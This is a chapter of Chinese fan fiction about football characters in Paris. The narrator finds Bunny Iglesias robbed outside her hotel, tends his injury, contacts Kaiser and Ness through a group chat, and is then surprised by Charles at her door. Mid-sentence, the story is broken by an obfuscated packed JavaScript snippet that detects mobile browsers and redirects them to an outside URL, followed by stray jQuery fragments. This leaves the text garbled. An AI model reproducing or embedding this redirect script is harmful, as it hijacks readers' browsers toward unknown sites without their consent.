今天真的很愉快。
这句话在我心里轻轻回荡着,像塞纳河傍晚的风一样温柔。我和洛基在酒店门口道别,他沉稳的点头说“下次再一起出来”,然后转身离开。我站在原地,看着他的背影消失在巴黎街角,才慢慢转过身,准备回房间好好回味这个美好的下午。
然而,我的好心情在走到酒店旋转门前,骤然被打断了。
一个异常高大的身影,正以一种极其委屈、几乎可以说是蜷缩的姿势,捂着脑袋蹲在酒店门口旁边的角落里。那头醒目的白头发,以及即使蹲着也能看出惊人的身高和体格……
我的脚步顿住了,心里咯噔一下。
邦尼·伊格莱西亚斯?
他怎么会在这里?还以这种……呃,像是被主人踢了一脚的大型犬般的姿态蹲着?
我犹豫了一下,还是走了过去。越靠近,越能看清他此刻的狼狈。他那只平时总是戴着顶时髦帽子的脑袋此刻光溜溜的,柔顺的白发被抓得有些乱,而他正用那双大手死死地捂着头顶,手指缝隙间,我好像隐约看到了一点红痕?
“邦尼……先生?”我试探性地叫了他一声,语气里充满了不确定和一丝荒谬感。
听到我的声音,蹲着的巨大身影猛地一颤,然后极其缓慢地、像是生了锈的机器人一样,抬起了头。
果然是他。左眼下那道十字疤依旧显眼,但此刻,他脸上那种常挂着的、笑眯眯的和蔼表情消失不见了,取而代之的是一种……我从未见过的,混合着疼痛、茫然、委屈,甚至还有点呆呆的表情。他的眼睛瞪得比平时圆一些,红色的瞳孔里写满了“无法理解”和“难以置信”。
“啊……是你啊……”他的声音也失去了往常那种轻快上扬、总是带着点诡异甜美的语调,变得有些干巴巴,甚至透着一丝虚弱。
“你这是……怎么了?”我看着他这副模样,心里的警惕和之前对他“假男友”身份的厌烦,暂时被一种更强烈的困惑和一点点……荒谬的同情压过去了。毕竟,一个一米九几、身材结实的职业足球运动员,捂着头蹲在酒店门口像只被抛弃的大狗,这场面实在太过超现实。
邦尼吸了吸鼻子,虽然看起来并没有哭,但这个动作让他显得更委屈了。他保持着抬头的姿势,眼巴巴地看着我,声音闷闷的:“我的帽子……被抢走了。”
“……哈?”
“还有钱包……和手机……”他补充道,语气里的委屈几乎要溢出来,“全都没了。”
我愣住了,花了足足好几秒钟才消化掉这个信息。
抢劫?
邦尼·伊格莱西亚斯,巴萨FC的前锋,被抢劫了?在巴黎?而且成功被抢走了帽子、钱包和手机?
一股极其复杂的情绪涌上心头,首先是震惊,然后是难以置信,最后竟然有点想笑——当然,我努力憋住了。这太离谱了!匪徒的胆子是有多大?还是说巴黎的小偷抢劫犯已经技艺高超到可以无视这种体型差距了?
我看着他依旧捂着脑袋的手,忍不住问:“那你的头……?”
“哦,这个啊,”邦尼似乎这才想起自己一直捂着头,他慢慢放下手,露出了额角一处明显的红肿,甚至有点破皮,“他们抢帽子的时候,动作太粗鲁了……扯到了我的头发,还用手肘……嗯,不小心碰到了这里。有点痛呢。”
他用一种近乎平静的语气描述着被袭击的过程,但配合着他此刻呆呆的表情和额头上的伤,效果格外滑稽又可怜。
我看着他额角那块红印,再看看他空空如也的双手和没戴帽子的脑袋,终于无奈地叹了口气。不管他之前扮演“假男友”给我带来了多少麻烦,不管他是不是凯撒派来的,此刻看着他这副惨状,我也实在没法硬起心肠扭头就走。
“你……”我斟酌着用语,“你能联系上你的经纪人或者俱乐部的人吗?总得让人来接你,或者处理一下被抢的事情吧?”
邦尼眨了眨他那双此刻显得格外无辜的眼睛,摇了摇头:“手机被抢走了……我不记得号码。所有人的号码……都存在手机里了。”他顿了顿,补充了一句,“啊,真想消失啊……”
看,又来了,那种熟悉的、夹杂着负面情绪的感叹。但这次,配合他眼前的处境,听起来竟然没那么诡异,反而有点……应景?
我再次深深吸了一口气,认命般地从口袋里掏出自己的手机。“用我的打吧?你应该……记得一两个紧急联系人的号码?比如俱乐部的总机?或者凯撒?”我提到凯撒的名字时,语气忍不住带上了一丝微妙。
邦尼看着我递过去的手机,眼睛亮了一下,但随即又黯淡下去,他歪了歪头,似乎在努力思考,然后露出了一个更加茫然的表情:“……抱歉,清田小姐,我好像……一个号码都记不住了呢。大概是刚才被打到头,有点轻微脑震荡了……啊,会不会就这样死掉呢……”
“……请不要随便说这种话。”我无力地制止他,感觉自己额角的青筋也在跳了。一个记不住任何号码的职业球员?这可信度也太低了吧!他到底是真傻还是在装傻?
但是看着他额头上那块越来越明显的红肿,以及那双此刻写满了“空白”和“无助”的眼睛(天知道他是怎么做出这种表情的),我又有点不确定了。万一他真的被打懵了呢?
我拿着手机,僵在原地,一时不知该如何是好。总不能把他一个人丢在这里吧?
邦尼依旧蹲在地上,仰着头看我,阳光照在他白色的头发上,几乎有些晃眼。他忽然小声说:“清田小姐……你真是个好人呢。”
“……谢谢夸奖。”我干巴巴地回答,心里却在呐喊:我只是没办法对眼前这副惨状视而不见啊!
“所以,”他继续用那种带着点虚弱和无辜的语气说,“我能不能……暂时跟着你?我现在身无分文,也无处可去……说不定那些抢匪还在附近等着我落单呢……啊,想到可能会被再次袭击,就感觉离失踪更近了一步……”
他的话语内容依旧充满了邦尼式的黑暗色彩,但配合着他此刻的处境和表情,杀伤力大打折扣,反而更像是一种笨拙的、试图博取同情的表演。
我看着他,沉默了足足有十秒钟。
大脑在疯狂地警告我:清田爱!别信他!这家伙是凯撒派来的!他很危险!而且麻烦得要死!把他带回房间?你疯了吗?
但视线落在他额角的伤,和他那双努力装出可怜兮兮模样的眼睛上(虽然以他的体型做这种表情真的很违和),那点微不足道的同情心又开始滋滋作响。
最终,我还是败给了自己的那点“于心不忍”。
“……好吧,”我几乎是咬着牙说出的这句话,“你先起来,跟我去前台,我帮你问问能不能联系警方或者帮你找个医生看看头上的伤。然后……我再想办法看怎么联系你的人。”
邦尼的眼睛瞬间亮了起来,那种光芒快得几乎让我以为刚才的茫然和委屈都是我的错觉。他立刻站了起来——一米九多的身高带来的压迫感瞬间回归——然后对着我露出了一个极其灿烂、甚至带着点傻气的笑容:“真的吗?太感谢你了!清田小姐!你真是天使!”
“……闭嘴,跟我来。”我面无表情地转过身,努力忽略身后那个亦步亦趋的巨大身影,以及前台工作人员投来的好奇目光。
今天下午和洛基先生度过的愉快时光所带来的粉色泡泡,此刻彻底被邦尼·伊格莱西亚斯这块突如其来的、巨大的、麻烦的乌云笼罩得严严实实。
我就知道,在巴黎,在我的生活里,平静和愉快永远是短暂的奢侈品。
邦尼跟在我身后,脚步似乎轻快了不少,甚至开始哼起了不成调的小曲,歌词隐约是什么“……死亡如影随形,但幸运女神偶尔微笑……”
我忍无可忍地加快了脚步。
老天奶,我到底为什么要心软?!
***
邦尼的伤不算太严重,至少不像他说的有脑震荡那么严重。酒店前台帮忙找来了简易医药箱,我用消毒棉签小心地帮他清理了额角那处破皮的红肿时,他嘶嘶地抽着气,眼睛湿漉漉地望着我,配上那头凌乱的白发和惊人的身高,活像只被雨淋垮的巨型犬。处理完,那块红肿看起来反而更明显了些,但总算不再有感染的风险。
“你吃东西了吗?”我收起医药箱,瞥了他一眼,“还是说,被抢之后就一直饿着?”
邦尼摸了摸肚子,脸上又露出那种混合着委屈和茫然的夸张表情:“嗯……从中午到现在,什么都没吃呢。本来想去买那家很有名的可颂……结果就遇到了这种事。啊,饥饿的感觉真像是缓慢的死亡呢……”
“……闭嘴,吃饭的时候不许说这种话。”我没好气地打断他,认命地拿出手机,“我给你叫份外卖吧。想吃什么?”
“清田小姐决定就好~我不挑食的。”他立刻笑了起来,仿佛刚才那个哀叹“缓慢死亡”的人不是他,“能填饱肚子,感受生命延续的实感就好。”
我无视了他后半句,快速浏览着附近的餐厅,最后给他点了一份料最足的意大利肉酱面和一份烤鸡翅。下单成功后,我看着坐在我房间沙发里、显得空间都有些逼仄的邦尼,感觉太阳穴又开始隐隐作痛。
这事不能瞒着,也瞒不住。我深吸一口气,点开了那个被我设置了免打扰但依旧无比活跃的群——
【凯撒和他的精神病友交流群(内斯除外)】
里面的最新消息还停留在几个小时前。
我快速打字,希望能让他们意识到事情的紧急。
【我:@凯撒 @内斯紧急情况。邦尼·伊格莱西亚斯在巴黎被抢劫了,钱包手机帽子都没了,额角还有点擦伤。我现在在酒店看着他。】
【我:你们谁有办法联系上他俱乐部的人或者经纪人?赶紧派人来接他。如果你们都联系不上,我就只能叫我爸帮忙了。】
消息发出去没多久,手机就疯狂震动起来。
【内斯:∑(°口°?)?!邦尼先生被抢劫了?!在巴黎?!严不严重?爱你没事吧?!】
【凯撒:哈。那个白痴终于因为看起来太像移动的冤大头而遭报应了?】
【我:现在是说这个的时候吗?靠谱点,老师。】
【凯撒:啧。麻烦。】
【凯撒:等着,我问问巴萨FC那边谁在管这事。】
【内斯:我也立刻联系一下我知道的号码!稍等,爱!邦尼先生,请您坚持住!】
群里暂时安静了下来,显然那边去联系了。我放下手机,看了一眼正好奇地打量我房间里摆设的邦尼,他甚至还拿起那个丑萌的南瓜头钥匙扣对着灯光看了看。
“已经帮你联系凯撒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258346|182000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和内斯了,他们应该很快能找到你经纪人。”我说。
“啊,真是麻烦米歇尔和亚历克西斯了~”邦尼放下钥匙扣,对我露出一个毫无阴霾的笑容,“也麻烦清田小姐了。你真是善良的天使,照亮了我通往黄泉比良坂的黑暗道路呢~”
“……都说了吃饭的时候不许说这种话!”我简直想用靠垫砸他。
大约过了十几分钟,外卖和群里的消息几乎同时到了。
我把那份分量十足的意面和鸡翅推到邦尼面前,他眼睛一亮,然后就拿起叉子,以一种与他和蔼笑容完全不符的、近乎凶猛的姿态开始进食。
与此同时,手机屏幕再次亮起。
【凯撒:问到了。他的经纪人正在满城处理某个烂摊子,最早一班来巴黎的飞机是明天中午。到了估计也得傍晚才能接上人。】
【内斯:我这边联系到的助理也说最快明天……邦尼先生,请您务必坚持到明天!】
【凯撒:也就是说,那白痴还得在你那边赖至少一天。】
【凯撒:小学徒,你自己看着办吧。或者让清田那老家伙处理也行。】
【内斯:怎么可以麻烦清田先生!爱,如果需要的话,我、我可以试着协调一下看看有没有更快的办法……】
【凯撒:内斯,闭嘴。没必要为那种蠢货兴师动众。】
【凯撒:@邦尼 没死就吱一声。】
正在狼吞虎咽的邦尼似乎心有所感,抬起头,嘴角还沾着肉酱,含糊不清地说:“嗯?是米歇尔他们有消息了吗?是不是骂我了?”
“……你倒是很了解他。”我把手机屏幕转向他,“最快也得明天傍晚。也就是说,你至少得待到明天。”
邦尼咽下嘴里的食物,拿起餐巾纸优雅地擦了擦嘴(如果忽略他面前的狼藉和嘴角的酱汁,这个动作甚至称得上绅士),脸上并没有太多意外的表情:“这样啊……也好。看来死神还不打算立刻带我走,让我在巴黎又多了一段意外的闲暇时光呢。”
他放下餐巾,忽然从口袋里掏出了那个夏尔塞给他的、咧嘴傻笑的南瓜头钥匙扣,放在手心里递向我:“这个,送给清田小姐吧。”
“嗯?”我愣了一下,“给我干嘛?”这玩意看起来廉价得要命,而且不是他被抢后仅存的“财产”之一吗?
“就当是纪念品吧?”他笑眯眯地说,红色的瞳孔在灯光下闪烁着微妙的光泽,“纪念这次……嗯,颇为奇妙的巴黎遭遇。而且,它看起来和清田小姐一样,都有点可爱呢。”
我:“……”我一点也不想和这个傻南瓜联系在一起好吗!
我心里默默吐槽这玩意是不是因为看着就一文不值所以根本没入抢匪的眼才得以幸存,但话到嘴边还是咽了回去,只是表情复杂地接了过来。塑料钥匙扣冰凉的触感硌在掌心。
“那你今晚怎么办?”我把钥匙扣随手放在桌上,提出更实际的问题,“你之前住的酒店现在肯定续不上了吧?钱包身份证件都没了。要不……我帮你再多开一间房?”
虽然有点肉痛零花钱,但总不能真让他流落街头或者在我房间打地铺吧?
邦尼眼睛眨了眨,正要开口说什么——
“叮——”
我房间的门铃突然响了起来,清脆的声音在略显尴尬的安静氛围中格外刺耳。
这么晚了会是谁?我爸?还是酒店服务?
我疑惑地站起身,走到门口,透过猫眼往外看。
只见一颗金白挑染的脑袋正占据了整个猫眼视野,夏尔·希瓦利埃那张笑得过分灿烂的脸几乎贴在门板上,他甚至还对着猫眼做了个鬼脸。
我的心脏猛地一跳!他怎么又来了?!
我下意识地回头看了一眼还坐在沙发上、嘴角沾着酱汁、手里拿着鸡翅的邦尼。
完蛋!这要是被夏尔看到……
门铃又响了一声,更加急促,还伴随着夏尔活力十足的喊声:“姐姐~姐姐!开门呀!我知道你在里面!我闻到好吃的味道了!快开门嘛!”
躲是躲不过去了。我深吸一口气,抱着一种近乎赴死的心情,拧开了门把手。
门刚一打开,夏尔就像泥鳅一样挤了进来,嘴里还在嚷嚷:“姐姐你也太不够意思了!吃独食都不叫我……咦?”
他的声音戛然而止。
脚步顿在原地,那双金色的眼睛瞬间瞪得溜圆,难以置信地看向沙发的方向——看向那个正举着鸡翅、同样有些愕然地回望着他的、额角贴着一小块创可贴的白发高大男人。
夏尔脸上的笑容凝固了,视线像扫描仪一样飞快地从邦尼额角的伤、嘴角的油渍、面前吃了一半的意面、以及……我身上扫过。
房间里的空气仿佛凝固了几秒。
然后,夏尔猛地倒吸一口凉气,伸出手指,颤抖地指向邦尼,声音拔高了八度,充满了巨大的震惊和……一种发现新大陆般的、极其欠揍的兴奋:
“十、十字疤小哥?!你、你怎么会在这里?!还、还这副样子?!而且还在姐姐房间里吃东西?!”
他的目光猛地又转向我,眼神里充满了控诉和强烈的好奇:
“姐姐!这到底是怎么回事?!你们……你们难道已经发展到……可以留宿的关系了吗?!进展也太快了吧!我这个‘小三’都还没正式上岗呢!”